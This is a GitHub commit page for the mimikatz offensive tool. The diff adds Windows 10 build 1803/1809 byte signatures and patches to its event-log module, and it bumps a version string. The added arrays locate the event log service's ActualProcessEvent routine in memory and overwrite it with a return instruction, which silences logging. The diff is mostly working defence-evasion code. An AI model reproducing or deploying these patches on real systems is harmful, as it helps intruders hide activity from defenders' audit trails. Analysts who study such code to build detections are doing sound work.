Skip to content

Commit

Permalink
[new] mimikatz eventlog patch for 1803 ( for @darkoperator )
Browse files Browse the repository at this point in the history 
[new] mimikatz version includes maximum Windows build number tested
  • Loading branch information
@gentilkiwi
gentilkiwi committed Dec 9, 2018
1 parent 2fd09bb commit fe6a853
Show file tree
Hide file tree
Showing 2 changed files with 8 additions and 3 deletions.
3 changes: 2 additions & 1 deletion inc/globals.h
View file
Original file line number Diff line number Diff line change
Expand Up @@ -32,7 +32,8 @@
#define MIMIKATZ L"mimikatz"
#define MIMIKATZ_VERSION L"2.1.1"
#define MIMIKATZ_CODENAME L"A La Vie, A L\'Amour"
#define MIMIKATZ_FULL MIMIKATZ L" " MIMIKATZ_VERSION L" (" MIMIKATZ_ARCH L") built on " TEXT(__DATE__) L" " TEXT(__TIME__)
#define MIMIKATZ_MAX_WINBUILD L"17763"
#define MIMIKATZ_FULL MIMIKATZ L" " MIMIKATZ_VERSION L" (" MIMIKATZ_ARCH L") #" MIMIKATZ_MAX_WINBUILD L" " TEXT(__DATE__) L" " TEXT(__TIME__)
#define MIMIKATZ_SECOND L"\"" MIMIKATZ_CODENAME L"\""
#define MIMIKATZ_DEFAULT_LOG MIMIKATZ L".log"
#define MIMIKATZ_DRIVER L"mimidrv"
Expand Down
8 changes: 6 additions & 2 deletions mimikatz/modules/kuhl_m_event.c
View file
Original file line number Diff line number Diff line change
Expand Up @@ -21,6 +21,7 @@ BYTE PTRN_WIN6_Channel__ActualProcessEvent[] = {0xff, 0xf7, 0x48, 0x83, 0xec, 0x
BYTE PTRN_WI10_Channel__ActualProcessEvent[] = {0x48, 0x8b, 0xc4, 0x57, 0x48, 0x83, 0xec, 0x50, 0x48, 0xc7, 0x40, 0xc8, 0xfe, 0xff, 0xff, 0xff, 0x48, 0x89, 0x58, 0x08};
BYTE PTRN_WN10_1607_Channel__ActualProcessEvent[] = {0x40, 0x57, 0x48, 0x83, 0xec, 0x40, 0x48, 0xc7, 0x44, 0x24, 0x20, 0xfe, 0xff, 0xff, 0xff, 0x48, 0x89, 0x5c, 0x24, 0x50, 0x48, 0x8b, 0xda, 0x48, 0x8b, 0xf9, 0x48, 0x8b, 0xca, 0xe8};
BYTE PTRN_WN10_1709_Channel__ActualProcessEvent[] = {0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, 0xec, 0x40, 0x48, 0x8b, 0xf9, 0x48, 0x8b, 0xda, 0x48, 0x8b, 0xca, 0xe8};
BYTE PTRN_WN10_1803_Channel__ActualProcessEvent[] = {0x40, 0x57, 0x48, 0x83, 0xec, 0x40, 0x48, 0xc7, 0x44, 0x24, 0x20, 0xfe, 0xff, 0xff, 0xff, 0x48, 0x89, 0x5c, 0x24, 0x50, 0x48, 0x89, 0x6c, 0x24, 0x58, 0x48, 0x89, 0x74, 0x24, 0x60};
BYTE PTRN_WN10_1809_Channel__ActualProcessEvent[] = {0x40, 0x57, 0x48, 0x83, 0xec, 0x40, 0x48, 0xc7, 0x44, 0x24, 0x20, 0xfe, 0xff, 0xff, 0xff, 0x48, 0x89, 0x5c, 0x24, 0x50, 0x48, 0x89, 0x74, 0x24, 0x58, 0x49, 0x8b, 0xf0, 0x48, 0x8b, 0xfa, 0x48, 0x8b, 0xd9, 0x48, 0x8b, 0xca, 0xe8};

BYTE PATC_WNT6_Channel__ActualProcessEvent[] = {0xc3};
Expand All @@ -33,6 +34,7 @@ KULL_M_PATCH_GENERIC EventReferences[] = {
{KULL_M_WIN_BUILD_10_1507, {sizeof(PTRN_WI10_Channel__ActualProcessEvent), PTRN_WI10_Channel__ActualProcessEvent}, {sizeof(PATC_WNT6_Channel__ActualProcessEvent), PATC_WNT6_Channel__ActualProcessEvent}, { 0}},
{KULL_M_WIN_BUILD_10_1607, {sizeof(PTRN_WN10_1607_Channel__ActualProcessEvent), PTRN_WN10_1607_Channel__ActualProcessEvent}, {sizeof(PATC_WNT6_Channel__ActualProcessEvent), PATC_WNT6_Channel__ActualProcessEvent}, { 0}},
{KULL_M_WIN_BUILD_10_1709, {sizeof(PTRN_WN10_1709_Channel__ActualProcessEvent), PTRN_WN10_1709_Channel__ActualProcessEvent}, {sizeof(PATC_WNT6_Channel__ActualProcessEvent), PATC_WNT6_Channel__ActualProcessEvent}, { 0}},
{KULL_M_WIN_BUILD_10_1803, {sizeof(PTRN_WN10_1803_Channel__ActualProcessEvent), PTRN_WN10_1803_Channel__ActualProcessEvent}, {sizeof(PATC_WNT6_Channel__ActualProcessEvent), PATC_WNT6_Channel__ActualProcessEvent}, { 0}},
{KULL_M_WIN_BUILD_10_1809, {sizeof(PTRN_WN10_1809_Channel__ActualProcessEvent), PTRN_WN10_1809_Channel__ActualProcessEvent}, {sizeof(PATC_WNT6_Channel__ActualProcessEvent), PATC_WNT6_Channel__ActualProcessEvent}, { 0}},
};
#elif defined _M_IX86
Expand All @@ -44,12 +46,13 @@ BYTE PTRN_WN63_Channel__ActualProcessEvent[] = {0x33, 0xc4, 0x50, 0x8d, 0x44, 0x
BYTE PTRN_WN64_Channel__ActualProcessEvent[] = {0x33, 0xc4, 0x89, 0x44, 0x24, 0x10, 0x53, 0x56, 0x57, 0xa1};
BYTE PTRN_WN10_1607_Channel__ActualProcessEvent[] = {0x8b, 0xd9, 0x8b, 0x4d, 0x08, 0xe8};
BYTE PTRN_WN10_1709_Channel__ActualProcessEvent[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x83, 0xec, 0x0c, 0x56, 0x57, 0x8b, 0xf9, 0x8b, 0x4d, 0x08, 0xe8};
BYTE PTRN_WN10_1803_Channel__ActualProcessEvent[] = {0x8b, 0xf1, 0x89, 0x75, 0xec, 0x8b, 0x7d, 0x08, 0x8b, 0xcf, 0xe8};
BYTE PTRN_WN10_1809_Channel__ActualProcessEvent[] = {0x8b, 0xf1, 0x89, 0x75, 0xf0, 0x8b, 0x7d, 0x08, 0x8b, 0xcf, 0xe8};

BYTE PATC_WNT5_PerformWriteRequest[] = {0x33, 0xc0, 0xc2, 0x04, 0x00};
BYTE PATC_WNO8_Channel__ActualProcessEvent[] = {0xc2, 0x04, 0x00};
BYTE PATC_WIN8_Channel__ActualProcessEvent[] = {0xc2, 0x08, 0x00};
BYTE PATC_W1809_Channel__ActualProcessEvent[] = {0xc2, 0x0c, 0x00};
BYTE PATC_W1803_Channel__ActualProcessEvent[] = {0xc2, 0x0c, 0x00};

KULL_M_PATCH_GENERIC EventReferences[] = {
{KULL_M_WIN_BUILD_XP, {sizeof(PTRN_WNT5_PerformWriteRequest), PTRN_WNT5_PerformWriteRequest}, {sizeof(PATC_WNT5_PerformWriteRequest), PATC_WNT5_PerformWriteRequest}, {-20}},
Expand All @@ -60,7 +63,8 @@ KULL_M_PATCH_GENERIC EventReferences[] = {
{KULL_M_WIN_BUILD_10_1507, {sizeof(PTRN_WN64_Channel__ActualProcessEvent), PTRN_WN64_Channel__ActualProcessEvent}, {sizeof(PATC_WNO8_Channel__ActualProcessEvent), PATC_WNO8_Channel__ActualProcessEvent}, {-30}},
{KULL_M_WIN_BUILD_10_1607, {sizeof(PTRN_WN10_1607_Channel__ActualProcessEvent), PTRN_WN10_1607_Channel__ActualProcessEvent}, {sizeof(PATC_WNO8_Channel__ActualProcessEvent), PATC_WNO8_Channel__ActualProcessEvent}, {-12}},
{KULL_M_WIN_BUILD_10_1709, {sizeof(PTRN_WN10_1709_Channel__ActualProcessEvent), PTRN_WN10_1709_Channel__ActualProcessEvent}, {sizeof(PATC_WNO8_Channel__ActualProcessEvent), PATC_WNO8_Channel__ActualProcessEvent}, { 0}},
{KULL_M_WIN_BUILD_10_1809, {sizeof(PTRN_WN10_1809_Channel__ActualProcessEvent), PTRN_WN10_1809_Channel__ActualProcessEvent}, {sizeof(PATC_W1809_Channel__ActualProcessEvent), PATC_W1809_Channel__ActualProcessEvent}, {-12}},
{KULL_M_WIN_BUILD_10_1803, {sizeof(PTRN_WN10_1803_Channel__ActualProcessEvent), PTRN_WN10_1803_Channel__ActualProcessEvent}, {sizeof(PATC_W1803_Channel__ActualProcessEvent), PATC_W1803_Channel__ActualProcessEvent}, {-12}},
{KULL_M_WIN_BUILD_10_1809, {sizeof(PTRN_WN10_1809_Channel__ActualProcessEvent), PTRN_WN10_1809_Channel__ActualProcessEvent}, {sizeof(PATC_W1803_Channel__ActualProcessEvent), PATC_W1803_Channel__ActualProcessEvent}, {-12}},
};
#endif

Expand Down

0 comments on commit fe6a853

Please sign in to comment.